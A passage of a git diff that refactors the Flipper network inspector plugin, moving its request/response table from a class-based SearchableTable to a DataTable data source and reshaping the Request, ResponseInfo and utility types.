-  status: 70,
-  size: 100,
-  duration: 100,
-};
-
-const COLUMN_ORDER = [
-  {key: 'requestTimestamp', visible: true},
-  {key: 'responseTimestamp', visible: false},
-  {key: 'domain', visible: true},
-  {key: 'method', visible: true},
-  {key: 'status', visible: true},
-  {key: 'size', visible: true},
-  {key: 'duration', visible: true},
-];
-
-const COLUMNS = {
-  requestTimestamp: {value: 'Request Time'},
-  responseTimestamp: {value: 'Response Time'},
-  domain: {value: 'Domain'},
-  method: {value: 'Method'},
-  status: {value: 'Status'},
-  size: {value: 'Size'},
-  duration: {value: 'Duration'},
-};
-
 const mockingStyle = {
   backgroundColor: colors.yellowTint,
   color: colors.yellow,
   fontWeight: 500,
 };
 
-export function formatBytes(count: number): string {
+const errorStyle = {
+  backgroundColor: colors.redTint,
+  color: colors.red,
+  fontWeight: 500,
+};
+
+export function formatBytes(count: number | undefined): string {
+  if (typeof count !== 'number') {
+    return '';
+  }
   if (count > 1024 * 1024) {
     return (count / (1024.0 * 1024)).toFixed(1) + ' MB';
   }
@@ -123,25 +103,13 @@ export function formatBytes(count: number): string {
   return count + ' B';
 }
 
-const TextEllipsis = styled(Text)({
-  overflowX: 'hidden',
-  textOverflow: 'ellipsis',
-  maxWidth: '100%',
-  lineHeight: '18px',
-  paddingTop: 4,
-});
-
 // State management
 export interface NetworkRouteManager {
   addRoute(): string | null;
   modifyRoute(id: string, routeChange: Partial<Route>): void;
   removeRoute(id: string): void;
   enableRoute(id: string): void;
-  copyHighlightedCalls(
-    highlightedRows: Set<string>,
-    requests: {[id: string]: Request},
-    responses: {[id: string]: Response},
-  ): void;
+  copyHighlightedCalls(highlightedRows: Set<string>, requests: Requests): void;
   importRoutes(): void;
   exportRoutes(): void;
   clearRoutes(): void;
@@ -153,11 +121,7 @@ const nullNetworkRouteManager: NetworkRouteManager = {
   modifyRoute(_id: string, _routeChange: Partial<Route>) {},
   removeRoute(_id: string) {},
   enableRoute(_id: string) {},
-  copyHighlightedCalls(
-    _highlightedRows: Set<string>,
-    _requests: {[id: string]: Request},
-    _responses: {[id: string]: Response},
-  ) {},
+  copyHighlightedCalls(_highlightedRows: Set<string>, _requests: Requests) {},
   importRoutes() {},
   exportRoutes() {},
   clearRoutes() {},
@@ -171,8 +135,6 @@ export function plugin(client: PluginClient<Events, Methods>) {
     nullNetworkRouteManager,
   );
 
-  const selectedIds = createState<Array<RequestId>>([]);
-  const searchTerm = createState<string>('');
   const routes = createState<{[id: string]: Route}>({});
   const nextRouteId = createState<number>(0);
   const isMockResponseSupported = createState<boolean>(false);
@@ -181,18 +143,14 @@ export function plugin(client: PluginClient<Events, Methods>) {
     localStorage.getItem(LOCALSTORAGE_RESPONSE_BODY_FORMAT_KEY) ||
       BodyOptions.parsed,
   );
-  const highlightedRows = createState<Set<string> | null | undefined>(
-    new Set(),
-  );
-  const isDeeplinked = createState<boolean>(false);
-  const requests = createState<{[id: string]: Request}>(
-    {},
-    {persist: 'requests'},
-  );
-  const responses = createState<{[id: string]: Response}>(
-    {},
-    {persist: 'responses'},
-  );
+  const requests = createDataSource<Request, 'id'>([], {
+    key: 'id',
+    persist: 'requests2',
+  });
+  const selectedId = createState<string | undefined>(undefined, {
+    persist: 'selectedId',
+  });
+  const tableManagerRef = createRef<undefined | DataTableManager<Request>>();
 
   const partialResponses = createState<PartialResponses>(
     {},
@@ -200,9 +158,17 @@ export function plugin(client: PluginClient<Events, Methods>) {
   );
 
   client.onDeepLink((payload: unknown) => {
-    if (typeof payload === 'string') {
-      parseDeepLinkPayload(payload);
-      isDeeplinked.set(true);
+    const searchTermDelim = 'searchTerm=';
+    if (typeof payload !== 'string') {
+      return;
+    } else if (payload.startsWith(searchTermDelim)) {
+      tableManagerRef.current?.clearSelection();
+      tableManagerRef.current?.setSearchValue(
+        payload.slice(searchTermDelim.length),
+      );
+    } else {
+      tableManagerRef.current?.setSearchValue('');
+      tableManagerRef.current?.selectItemById(payload);
     }
   });
 
@@ -215,20 +181,23 @@ export function plugin(client: PluginClient<Events, Methods>) {
     init();
   });
 
-  client.onDeactivate(() => {
-    isDeeplinked.set(false);
+  client.onMessage('newRequest', (data) => {
+    // TODO: This should be append, but there is currently a bug where requests are send multiple times from the
+    // device! (Wilde on emulator)
+    requests.upsert(createRequestFromRequestInfo(data));
   });
 
-  client.onMessage('newRequest', (data) => {
-    requests.update((draft) => {
-      draft[data.id] = data;
-    });
-  });
+  function storeResponse(response: ResponseInfo) {
+    const request = requests.getById(response.id);
+    if (!request) {
+      return; // request table might have been cleared
+    }
+
+    requests.upsert(updateRequestWithResponseInfo(request, response));
+  }
 
   client.onMessage('newResponse', (data) => {
-    responses.update((draft) => {
-      draft[data.id] = data;
-    });
+    storeResponse(data);
   });
 
   client.onMessage('addProtobufDefinitions', (data) => {
@@ -252,9 +221,7 @@ export function plugin(client: PluginClient<Events, Methods>) {
 
         The order that initialResponse, and followup chunks are received is not guaranteed to be in index order.
     */
-    const message: Response | ResponseFollowupChunk = data as
-      | Response
-      | ResponseFollowupChunk;
+    const message = data as ResponseInfo | ResponseFollowupChunk;
 
     partialResponses.update((draft) => {
       if (!draft[message.id]) {
@@ -269,10 +236,18 @@ export function plugin(client: PluginClient<Events, Methods>) {
         entry.followupChunks[chunk.index] = chunk.data;
       } else {
         // It's an initial chunk
-        entry.initialResponse = message as Response;
+        entry.initialResponse = message as ResponseInfo;
       }
     });
-    assembleChunksIfResponseIsComplete(partialResponses, responses, message.id);
+    const response = assembleChunksIfResponseIsComplete(
+      partialResponses.get()[message.id],
+    );
+    if (response) {
+      storeResponse(response);
+      partialResponses.update((draft) => {
+        delete draft[response.id];
+      });
+    }
   });
 
   function supportsMocks(device: Device): Promise<boolean> {
@@ -341,30 +316,37 @@ export function plugin(client: PluginClient<Events, Methods>) {
       },
       copyHighlightedCalls(
         highlightedRows: Set<string> | null | undefined,
-        requests: {[id: string]: Request},
-        responses: {[id: string]: Response},
+        requests: Requests,
       ) {
         // iterate through highlighted rows
         highlightedRows?.forEach((row) => {
-          const response = responses[row];
+          const request = requests.getById(row);
+          if (!request) {
+            return;
+          }
           // convert headers
           const headers: {[id: string]: Header} = {};
-          response.headers.forEach((e) => {
+          request.responseHeaders?.forEach((e) => {
             headers[e.key] = e;
           });
 
           // convert data TODO: we only want this for non-binary data! See D23403095
           const responseData =
-            response && response.data ? decodeBody(response) : '';
+            request && request.responseData
+              ? decodeBody({
+                  headers: request.responseHeaders ?? [],
+                  data: request.responseData,
+                })
+              : '';
 
           const newNextRouteId = nextRouteId.get();
           routes.update((draft) => {
             draft[newNextRouteId.toString()] = {
-              requestUrl: requests[row].url,
-              requestMethod: requests[row].method,
+              requestUrl: request.url,
+              requestMethod: request.method,
               responseData: responseData as string,
               responseHeaders: headers,
-              responseStatus: responses[row].status.toString(),
+              responseStatus: request.status?.toString() ?? '',
               enabled: true,
             };
           });
@@ -444,38 +426,8 @@ export function plugin(client: PluginClient<Events, Methods>) {
     });
   }
 
-  function parseDeepLinkPayload(deepLinkPayload: unknown) {
-    const searchTermDelim = 'searchTerm=';
-    if (typeof deepLinkPayload !== 'string') {
-      selectedIds.set([]);
-      searchTerm.set('');
-    } else if (deepLinkPayload.startsWith(searchTermDelim)) {
-      selectedIds.set([]);
-      searchTerm.set(deepLinkPayload.slice(searchTermDelim.length));
-    } else {
-      selectedIds.set([deepLinkPayload]);
-      searchTerm.set('');
-    }
-  }
-
   function clearLogs() {
-    selectedIds.set([]);
-    responses.set({});
-    requests.set({});
-  }
-
-  function copyRequestCurlCommand() {
-    // Ensure there is only one row highlighted.
-    if (selectedIds.get().length !== 1) {
-      return;
-    }
-
-    const request = requests.get()[selectedIds.get()[0]];
-    if (!request) {
-      return;
-    }
-    const command = convertRequestToCurlCommand(request);
-    clipboard.writeText(command);
+    requests.clear();
   }
 
   async function informClientMockChange(routes: {[id: string]: Route}) {
@@ -532,23 +484,15 @@ export function plugin(client: PluginClient<Events, Methods>) {
   }
 
   return {
-    selectedIds,
-    searchTerm,
     routes,
     nextRouteId,
     isMockResponseSupported,
     showMockResponseDialog,
     detailBodyFormat,
-    highlightedRows,
-    isDeeplinked,
     requests,
-    responses,
     partialResponses,
     networkRouteManager,
     clearLogs,
-    onRowHighlighted(selectedIdsArr: Array<RequestId>) {
-      selectedIds.set(selectedIdsArr);
-    },
     onMockButtonPressed() {
       showMockResponseDialog.set(true);
     },
@@ -559,262 +503,245 @@ export function plugin(client: PluginClient<Events, Methods>) {
       detailBodyFormat.set(bodyFormat);
       localStorage.setItem(LOCALSTORAGE_RESPONSE_BODY_FORMAT_KEY, bodyFormat);
     },
-    copyRequestCurlCommand,
+    selectedId,
+    onSelect(request: Request) {
+      selectedId.set(request?.id);
+    },
     init,
+    tableManagerRef,
+    onContextMenu(request: Request | undefined) {
+      return (
+        <Menu.Item
+          key="curl"
+          onClick={() => {
+            if (!request) {
+              return;
+            }
+            const command = convertRequestToCurlCommand(request);
+            client.writeTextToClipboard(command);
+          }}>
+          Copy cURL command
+        </Menu.Item>
+      );
+    },
+  };
+}
+
+function createRequestFromRequestInfo(data: RequestInfo): Request {
+  let url: URL | undefined = undefined;
+  try {
+    url = data.url ? new URL(data.url) : undefined;
+  } catch (e) {
+    console.warn(`Failed to parse url: '${data.url}'`, e);
+  }
+  const domain =
+    getHeaderValue(data.headers, 'X-FB-Friendly-Name') ||
+    (url ? (url.pathname ? url.host + url.pathname : url.host) : '<unknown>');
+
+  return {
+    id: data.id,
+    // request
+    requestTime: new Date(data.timestamp),
+    method: data.method,
+    url: data.url ?? '',
+    domain,
+    requestHeaders: data.headers,
+    requestData: data.data ?? undefined,
+  };
+}
+
+function updateRequestWithResponseInfo(
+  request: Request,
+  response: ResponseInfo,
+): Request {
+  return {
+    ...request,
+    responseTime: new Date(response.timestamp),
+    status: response.status,
+    reason: response.reason,
+    responseHeaders: response.headers,
+    responseData: response.data ?? undefined,
+    responseIsMock: response.isMock,
+    responseLength: getResponseLength(response),
+    duration: response.timestamp - request.requestTime.getTime(),
+    insights: response.insights ?? undefined,
   };
 }
 
 export function Component() {
   const instance = usePlugin(plugin);
-
-  const requests = useValue(instance.requests);
-  const responses = useValue(instance.responses);
-  const selectedIds = useValue(instance.selectedIds);
-  const searchTerm = useValue(instance.searchTerm);
   const routes = useValue(instance.routes);
   const isMockResponseSupported = useValue(instance.isMockResponseSupported);
   const showMockResponseDialog = useValue(instance.showMockResponseDialog);
   const networkRouteManager = useValue(instance.networkRouteManager);
 
   return (
-    <Layout.Container grow={true}>
-      <NetworkRouteContext.Provider value={networkRouteManager}>
-        <NetworkTable
-          requests={requests || {}}
-          responses={responses || {}}
-          routes={routes}
-          onMockButtonPressed={instance.onMockButtonPressed}
-          onCloseButtonPressed={instance.onCloseButtonPressed}
-          showMockResponseDialog={showMockResponseDialog}
-          clear={instance.clearLogs}
-          copyRequestCurlCommand={instance.copyRequestCurlCommand}
-          onRowHighlighted={instance.onRowHighlighted}
-          highlightedRows={selectedIds ? new Set(selectedIds) : null}
-          searchTerm={searchTerm}
-          isMockResponseSupported={isMockResponseSupported}
+    <NetworkRouteContext.Provider value={networkRouteManager}>
+      <Layout.Container grow={true}>
+        <DataTable
+          columns={columns}
+          dataSource={instance.requests}
+          onRowStyle={getRowStyle}
+          tableManagerRef={instance.tableManagerRef}
+          onSelect={instance.onSelect}
+          onCopyRows={copyRow}
+          onContextMenu={instance.onContextMenu}
+          enableAutoScroll
+          extraActions={
+            <Layout.Horizontal gap>
+              <Button title="Clear logs" onClick={instance.clearLogs}>
+                <DeleteOutlined />
+              </Button>
+              {isMockResponseSupported && (
+                <Button onClick={instance.onMockButtonPressed}>Mock</Button>
+              )}
+            </Layout.Horizontal>
+          }
         />
+        {showMockResponseDialog ? (
+          <Sheet>
+            {(onHide) => (
+              <MockResponseDialog
+                routes={routes}
+                onHide={() => {
+                  onHide();
+                  instance.onCloseButtonPressed();
+                }}
+                highlightedRows={
+                  new Set(
+                    instance.tableManagerRef
+                      .current!.getSelectedItems()
+                      .map((r) => r.id),
+                  )
+                }
+                requests={instance.requests}
+              />
+            )}
+          </Sheet>
+        ) : null}
         <Sidebar />
-      </NetworkRouteContext.Provider>
-    </Layout.Container>
+      </Layout.Container>
+    </NetworkRouteContext.Provider>
   );
 }
 
-type NetworkTableProps = {
-  requests: {[id: string]: Request};
-  responses: {[id: string]: Response};
-  routes: {[id: string]: Route};
-  clear: () => void;
-  copyRequestCurlCommand: () => void;
-  onRowHighlighted: (keys: TableHighlightedRows) => void;
-  highlightedRows: Set<string> | null | undefined;
-  searchTerm: string;
-  onMockButtonPressed: () => void;
-  onCloseButtonPressed: () => void;
-  showMockResponseDialog: boolean;
-  isMockResponseSupported: boolean;
-};
+const columns: DataTableColumn<Request>[] = [
+  {
+    key: 'requestTime',
+    title: 'Request Time',
+    width: 120,
+  },
+  {
+    key: 'responseTime',
+    title: 'Response Time',
+    width: 120,
+    visible: false,
+  },
+  {
+    key: 'domain',
+  },
+  {
+    key: 'url',
+    title: 'Full URL',
+    visible: false,
+  },
+  {
+    key: 'method',
+    title: 'Method',
+    width: 70,
+  },
+  {
+    key: 'status',
+    title: 'Status',
+    width: 70,
+    formatters: formatStatus,
+    align: 'right',
+  },
+  {
+    key: 'responseLength',
+    title: 'Size',
+    width: 100,
+    formatters: formatBytes,
+    align: 'right',
+  },
+  {
+    key: 'duration',
+    title: 'Time',
+    width: 100,
+    formatters: formatDuration,
+    align: 'right',
+  },
+];
 
-type NetworkTableState = {
-  sortedRows: TableRows;
-  routes: {[id: string]: Route};
-  highlightedRows: Set<string> | null | undefined;
-  requests: {[id: string]: Request};
-  responses: {[id: string]: Response};
-};
-
-function formatTimestamp(timestamp: number): string {
-  const date = new Date(timestamp);
-  return `${padStart(date.getHours().toString(), 2, '0')}:${padStart(
-    date.getMinutes().toString(),
-    2,
-    '0',
-  )}:${padStart(date.getSeconds().toString(), 2, '0')}.${padStart(
-    date.getMilliseconds().toString(),
-    3,
-    '0',
-  )}`;
+function getRowStyle(row: Request) {
+  return row.responseIsMock
+    ? mockingStyle
+    : row.status && row.status >= 400 && row.status < 600
+    ? errorStyle
+    : undefined;
 }
 
-function buildRow(
-  request: Request,
-  response: Response | null | undefined,
-): TableBodyRow | null | undefined {
-  if (request == null) {
-    return null;
+function copyRow(requests: Request[]): string {
+  const request = requests[0];
+  if (!request || !request.url) {
+    return '<empty request>';
   }
 
-  if (request.url == null) {
-    return null;
-  }
-  let url: URL | undefined = undefined;
-  try {
-    url = new URL(request.url);
-  } catch (e) {
-    console.warn(`Failed to parse url: '${request.url}'`, e);
-  }
-  const domain = url ? url.host + url.pathname : '<unknown>';
-  const friendlyName = getHeaderValue(request.headers, 'X-FB-Friendly-Name');
-  const style = response && response.isMock ? mockingStyle : undefined;
-
-  const copyText = () => {
-    let copyText = `# HTTP request for ${domain} (ID: ${request.id})
+  let copyText = `# HTTP request for ${request.domain} (ID: ${request.id})
   ## Request
   HTTP ${request.method} ${request.url}
-  ${request.headers
+  ${request.requestHeaders
     .map(
       ({key, value}: {key: string; value: string}): string =>
         `${key}: ${String(value)}`,
     )
     .join('\n')}`;
 
-    // TODO: we want decoding only for non-binary data! See D23403095
-    const requestData = request.data ? decodeBody(request) : null;
-    const responseData =
-      response && response.data ? decodeBody(response) : null;
+  // TODO: we want decoding only for non-binary data! See D23403095
+  const requestData = request.requestData
+    ? decodeBody({
+        headers: request.requestHeaders,
+        data: request.requestData,
+      })
+    : null;
+  const responseData = request.responseData
+    ? decodeBody({
+        headers: request.responseHeaders,
+        data: request.responseData,
+      })
+    : null;
 
-    if (requestData) {
-      copyText += `\n\n${requestData}`;
-    }
-
-    if (response) {
-      copyText += `
+  if (requestData) {
+    copyText += `\n\n${requestData}`;
+  }
+  if (request.status) {
+    copyText += `
 
   ## Response
-  HTTP ${response.status} ${response.reason}
-  ${response.headers
-    .map(
-      ({key, value}: {key: string; value: string}): string =>
-        `${key}: ${String(value)}`,
-    )
-    .join('\n')}`;
-    }
-
-    if (responseData) {
-      copyText += `\n\n${responseData}`;
-    }
-    return copyText;
-  };
-
-  return {
-    columns: {
-      requestTimestamp: {
-        value: (
-          <TextEllipsis>{formatTimestamp(request.timestamp)}</TextEllipsis>
-        ),
-      },
-      responseTimestamp: {
-        value: (
-          <TextEllipsis>
-            {response && formatTimestamp(response.timestamp)}
-          </TextEllipsis>
-        ),
-      },
-      domain: {
-        value: (
-          <TextEllipsis>{friendlyName ? friendlyName : domain}</TextEllipsis>
-        ),
-        isFilterable: true,
-      },
-      method: {
-        value: <TextEllipsis>{request.method}</TextEllipsis>,
-        isFilterable: true,
-      },
-      status: {
-        value: (
-          <StatusColumn>{response ? response.status : undefined}</StatusColumn>
-        ),
-        isFilterable: true,
-      },
-      size: {
-        value: <SizeColumn response={response ? response : undefined} />,
-      },
-      duration: {
-        value: <DurationColumn request={request} response={response} />,
-      },
-    },
-    key: request.id,
-    filterValue: `${request.method} ${request.url}`,
-    sortKey: request.timestamp,
-    copyText,
-    getSearchContent: copyText,
-    highlightOnHover: true,
-    style: style,
-  };
-}
-
-function calculateState(
-  props: {
-    requests: {[id: string]: Request};
-    responses: {[id: string]: Response};
-  },
-  nextProps: NetworkTableProps,
-  rows: TableRows = [],
-): NetworkTableState {
-  rows = [...rows];
-  if (Object.keys(nextProps.requests).length === 0) {
-    // cleared
-    rows = [];
-  } else if (props.requests !== nextProps.requests) {
-    // new request
-    for (const [requestId, request] of Object.entries(nextProps.requests)) {
-      if (props.requests[requestId] == null) {
-        const newRow = buildRow(request, nextProps.responses[requestId]);
-        if (newRow) {
-          rows.push(newRow);
-        }
-      }
-    }
-  }
-  if (props.responses !== nextProps.responses) {
-    // new or updated response
-    const resIds = Object.keys(nextProps.responses).filter(
-      (responseId: RequestId) =>
-        props.responses[responseId] !== nextProps.responses[responseId],
-    );
-    for (const resId of resIds) {
-      if (resId) {
-        const request = nextProps.requests[resId];
-        // sanity check; to pass null check
-        if (request) {
-          const newRow = buildRow(request, nextProps.responses[resId]);
-          const index = rows.findIndex(
-            (r: TableBodyRow) => r.key === request.id,
-          );
-          if (index > -1 && newRow) {
-            rows[index] = newRow;
-          }
-        }
-      }
-    }
+  HTTP ${request.status} ${request.reason}
+  ${
+    request.responseHeaders
+      ?.map(
+        ({key, value}: {key: string; value: string}): string =>
+          `${key}: ${String(value)}`,
+      )
+      .join('\n') ?? ''
+  }`;
   }
 
-  rows.sort(
-    (a: TableBodyRow, b: TableBodyRow) =>
-      (a.sortKey as number) - (b.sortKey as number),
-  );
-
-  return {
-    sortedRows: rows,
-    routes: nextProps.routes,
-    highlightedRows: nextProps.highlightedRows,
-    requests: props.requests,
-    responses: props.responses,
-  };
+  if (responseData) {
+    copyText += `\n\n${responseData}`;
+  }
+  return copyText;
 }
 
 function Sidebar() {
   const instance = usePlugin(plugin);
-  const requests = useValue(instance.requests);
-  const responses = useValue(instance.responses);
-  const selectedIds = useValue(instance.selectedIds);
+  const selectedId = useValue(instance.selectedId);
   const detailBodyFormat = useValue(instance.detailBodyFormat);
-  const selectedId = selectedIds.length === 1 ? selectedIds[0] : null;
 
-  if (!selectedId) {
-    return null;
-  }
-  const requestWithId = requests[selectedId];
-  if (!requestWithId) {
+  const request = instance.requests.getById(selectedId!);
+  if (!request) {
     return null;
   }
 
@@ -822,8 +749,7 @@ function Sidebar() {
     <DetailSidebar width={500}>
       <RequestDetails
         key={selectedId}
-        request={requestWithId}
-        response={responses[selectedId]}
+        request={request}
         bodyFormat={detailBodyFormat}
         onSelectFormat={instance.onSelectFormat}
       />
@@ -831,189 +757,24 @@ function Sidebar() {
   );
 }
 
-class NetworkTable extends PureComponent<NetworkTableProps, NetworkTableState> {
-  static ContextMenu = styled(ContextMenu)({
-    flex: 1,
-  });
-
-  constructor(props: NetworkTableProps) {
-    super(props);
-    this.state = calculateState({requests: {}, responses: {}}, props);
-  }
-
-  UNSAFE_componentWillReceiveProps(nextProps: NetworkTableProps) {
-    this.setState(calculateState(this.props, nextProps, this.state.sortedRows));
-  }
-
-  contextMenuItems(): Array<MenuItemConstructorOptions> {
-    type ContextMenuType =
-      | 'normal'
-      | 'separator'
-      | 'submenu'
-      | 'checkbox'
-      | 'radio';
-    const separator: ContextMenuType = 'separator';
-    const {clear, copyRequestCurlCommand, highlightedRows} = this.props;
-    const highlightedMenuItems =
-      highlightedRows && highlightedRows.size === 1
-        ? [
-            {
-              type: separator,
-            },
-            {
-              label: 'Copy as cURL',
-              click: copyRequestCurlCommand,
-            },
-          ]
-        : [];
-
-    return highlightedMenuItems.concat([
-      {
-        type: separator,
-      },
-      {
-        label: 'Clear all',
-        click: clear,
-      },
-    ]);
-  }
-
-  render() {
-    return (
-      <>
-        <NetworkTable.ContextMenu
-          items={this.contextMenuItems()}
-          component={Layout.Container}>
-          <SearchableTable
-            virtual={true}
-            multiline={false}
-            multiHighlight={true}
-            stickyBottom={true}
-            floating={false}
-            columnSizes={COLUMN_SIZE}
-            columns={COLUMNS}
-            columnOrder={COLUMN_ORDER}
-            rows={this.state.sortedRows}
-            onRowHighlighted={this.props.onRowHighlighted}
-            highlightedRows={this.props.highlightedRows}
-            rowLineHeight={26}
-            allowRegexSearch={true}
-            allowContentSearch={true}
-            zebra={false}
-            clearSearchTerm={this.props.searchTerm !== ''}
-            defaultSearchTerm={this.props.searchTerm}
-            actions={
-              <Layout.Horizontal gap>
-                <Button onClick={this.props.clear}>Clear Table</Button>
-                {this.props.isMockResponseSupported && (
-                  <Button onClick={this.props.onMockButtonPressed}>Mock</Button>
-                )}
-              </Layout.Horizontal>
-            }
-          />
-        </NetworkTable.ContextMenu>
-        {this.props.showMockResponseDialog ? (
-          <Sheet>
-            {(onHide) => (
-              <MockResponseDialog
-                routes={this.state.routes}
-                onHide={() => {
-                  onHide();
-                  this.props.onCloseButtonPressed();
-                }}
-                highlightedRows={this.state.highlightedRows}
-                requests={this.state.requests}
-                responses={this.state.responses}
-              />
-            )}
-          </Sheet>
-        ) : null}
-      </>
-    );
-  }
-}
-
 const Icon = styled(Glyph)({
   marginTop: -3,
   marginRight: 3,
 });
 
-class StatusColumn extends PureComponent<{
-  children?: number;
-}> {
-  render() {
-    const {children} = this.props;
-    let glyph;
-
-    if (children != null && children >= 400 && children < 600) {
-      glyph = <Icon name="stop" color={colors.red} />;
-    }
-
+function formatStatus(status: number | undefined) {
+  if (typeof status === 'number' && status >= 400 && status < 600) {
     return (
-      <TextEllipsis>
-        {glyph}
-        {children}
-      </TextEllipsis>
+      <>
+        <Icon name="stop" color={colors.red} />
+        {status}
+      </>
     );
   }
+  return status;
 }
 
-class DurationColumn extends PureComponent<{
-  request: Request;
-  response: Response | null | undefined;
-}> {
-  static Text = styled(Text)({
-    flex: 1,
-    textAlign: 'right',
-    paddingRight: 10,
-  });
-
-  render() {
-    const {request, response} = this.props;
-    const duration = response
-      ? response.timestamp - request.timestamp
-      : undefined;
-    return (
-      <DurationColumn.Text selectable={false}>
-        {duration != null ? duration.toLocaleString() + 'ms' : ''}
-      </DurationColumn.Text>
-    );
-  }
-}
-
-class SizeColumn extends PureComponent<{
-  response: Response | null | undefined;
-}> {
-  static Text = styled(Text)({
-    flex: 1,
-    textAlign: 'right',
-    paddingRight: 10,
-  });
-
-  render() {
-    const {response} = this.props;
-    if (response) {
-      const text = formatBytes(this.getResponseLength(response));
-      return <SizeColumn.Text>{text}</SizeColumn.Text>;
-    } else {
-      return null;
-    }
-  }
-
-  getResponseLength(response: Response | null | undefined) {
-    if (!response) {
-      return 0;
-    }
-
-    let length = 0;
-    const lengthString = response.headers
-      ? getHeaderValue(response.headers, 'content-length')
-      : undefined;
-    if (lengthString != null && lengthString != '') {
-      length = parseInt(lengthString, 10);
-    } else if (response.data) {
-      length = Buffer.byteLength(response.data, 'base64');
-    }
-    return length;
-  }
+function formatDuration(duration: number | undefined) {
+  if (typeof duration === 'number') return duration + 'ms';
+  return '';
 }
diff --git a/desktop/plugins/public/network/types.tsx b/desktop/plugins/public/network/types.tsx
index 4a5ed3710..1a64d1ae7 100644
--- a/desktop/plugins/public/network/types.tsx
+++ b/desktop/plugins/public/network/types.tsx
@@ -7,20 +7,44 @@
  * @format
  */
 
+import {DataSource} from 'flipper-plugin';
 import {AnyNestedObject} from 'protobufjs';
 
 export type RequestId = string;
 
-export type Request = {
+export interface Request {
+  id: RequestId;
+  // request
+  requestTime: Date;
+  method: string;
+  url: string;
+  domain: string;
+  requestHeaders: Array<Header>;
+  requestData?: string;
+  // response
+  responseTime?: Date;
+  status?: number;
+  reason?: string;
+  responseHeaders?: Array<Header>;
+  responseData?: string;
+  responseLength?: number;
+  responseIsMock?: boolean;
+  duration?: number;
+  insights?: Insights;
+}
+
+export type Requests = DataSource<Request, 'id', string>;
+
+export type RequestInfo = {
   id: RequestId;
   timestamp: number;
   method: string;
-  url: string;
+  url?: string;
   headers: Array<Header>;
   data: string | null | undefined;
 };
 
-export type Response = {
+export type ResponseInfo = {
   id: RequestId;
   timestamp: number;
   status: number;
@@ -95,9 +119,9 @@ export type MockRoute = {
   enabled: boolean;
 };
 
-export type PartialResponses = {
-  [id: string]: {
-    initialResponse?: Response;
-    followupChunks: {[id: number]: string};
-  };
+export type PartialResponse = {
+  initialResponse?: ResponseInfo;
+  followupChunks: {[id: number]: string};
 };
+
+export type PartialResponses = Record<string, PartialResponse>;
diff --git a/desktop/plugins/public/network/utils.tsx b/desktop/plugins/public/network/utils.tsx
index a6e238142..36c1fe1c9 100644
--- a/desktop/plugins/public/network/utils.tsx
+++ b/desktop/plugins/public/network/utils.tsx
@@ -8,10 +8,16 @@
  */
 
 import pako from 'pako';
-import {Request, Response, Header} from './types';
+import {Request, Header, ResponseInfo} from './types';
 import {Base64} from 'js-base64';
 
-export function getHeaderValue(headers: Array<Header>, key: string): string {
+export function getHeaderValue(
+  headers: Array<Header> | undefined,
+  key: string,
+): string {
+  if (!headers) {
+    return '';
+  }
   for (const header of headers) {
     if (header.key.toLowerCase() === key.toLowerCase()) {
       return header.value;
@@ -20,7 +26,10 @@ export function getHeaderValue(headers: Array<Header>, key: string): string {
   return '';
 }
 
-export function decodeBody(container: Request | Response): string {
+export function decodeBody(container: {
+  headers?: Array<Header>;
+  data: string | null | undefined;
+}): string {
   if (!container.data) {
     return '';
   }
@@ -59,16 +68,21 @@ export function decodeBody(container: Request | Response): string {
   }
 }
 
-export function convertRequestToCurlCommand(request: Request): string {
+export function convertRequestToCurlCommand(
+  request: Pick<Request, 'method' | 'url' | 'requestHeaders' | 'requestData'>,
+): string {
   let command: string = `curl -v -X ${request.method}`;
   command += ` ${escapedString(request.url)}`;
   // Add headers
-  request.headers.forEach((header: Header) => {
+  request.requestHeaders.forEach((header: Header) => {
     const headerStr = `${header.key}: ${header.value}`;
     command += ` -H ${escapedString(headerStr)}`;
   });
   // Add body. TODO: we only want this for non-binary data! See D23403095
-  const body = decodeBody(request);
+  const body = decodeBody({
+    headers: request.requestHeaders,
+    data: request.requestData,
+  });
   if (body) {
     command += ` -d ${escapedString(body)}`;
   }
@@ -101,3 +115,15 @@ function escapedString(str: string) {
   // Simply use singly quoted string.
   return "'" + str + "'";
 }
+
+export function getResponseLength(request: ResponseInfo): number {
+  const lengthString = request.headers
+    ? getHeaderValue(request.headers, 'content-length')
+    : undefined;
+  if (lengthString) {
+    return parseInt(lengthString, 10);
+  } else if (request.data) {
+    return Buffer.byteLength(request.data, 'base64');
+  }
+  return 0;
+}
diff --git a/docs/extending/sandy-migration.mdx b/docs/extending/sandy-migration.mdx
index b55a84fab..abe88a498 100644
--- a/docs/extending/sandy-migration.mdx
+++ b/docs/extending/sandy-migration.mdx
@@ -78,6 +78,7 @@ This step is completed if the plugin follows the next `plugin` / `component` str
 * Similarly `yarn watch` can be used to run the unit tests in watch mode. Use the `p` key to filter for your specific plugin if `jest` doesn't do so automatically.
 * Example of migrating the network plugin to use Sandy APIs. D24108772 / [Github commit](https://github.com/facebook/flipper/commit/fdde2761ef054e44f399c846a2eae6baba03861e)
 * Example of migrating the example plugin to use Sandy APIs. D22308265 / [Github commit](https://github.com/facebook/flipper/commit/babc88e472612c66901d21d289bd217ef28ee385#diff-a145be72bb13a4675dcc8cbac5e55abcd9a542cc92f5c781bd7d3749f13676fc)
+* Other plugins that can be check for inspiration are the Logs and Network plugins.
 * These steps typically does not involve change much the UI or touch other files than `index.tsx`. Typically, the root component needs to be changed, but most other components can remain as is. However, if a ManagedTable is used (see the next section), it might be easier to already convert the table in this step.
 * Sandy has first class support for unit testing your plugin and mocking device interactions. Please do set up unit tests per documentation linked above!
 * If the original plugin definition contained `state`, it is recommended to create one new state atoms (`createState`) per field in the original `state`, rather than having one big atom.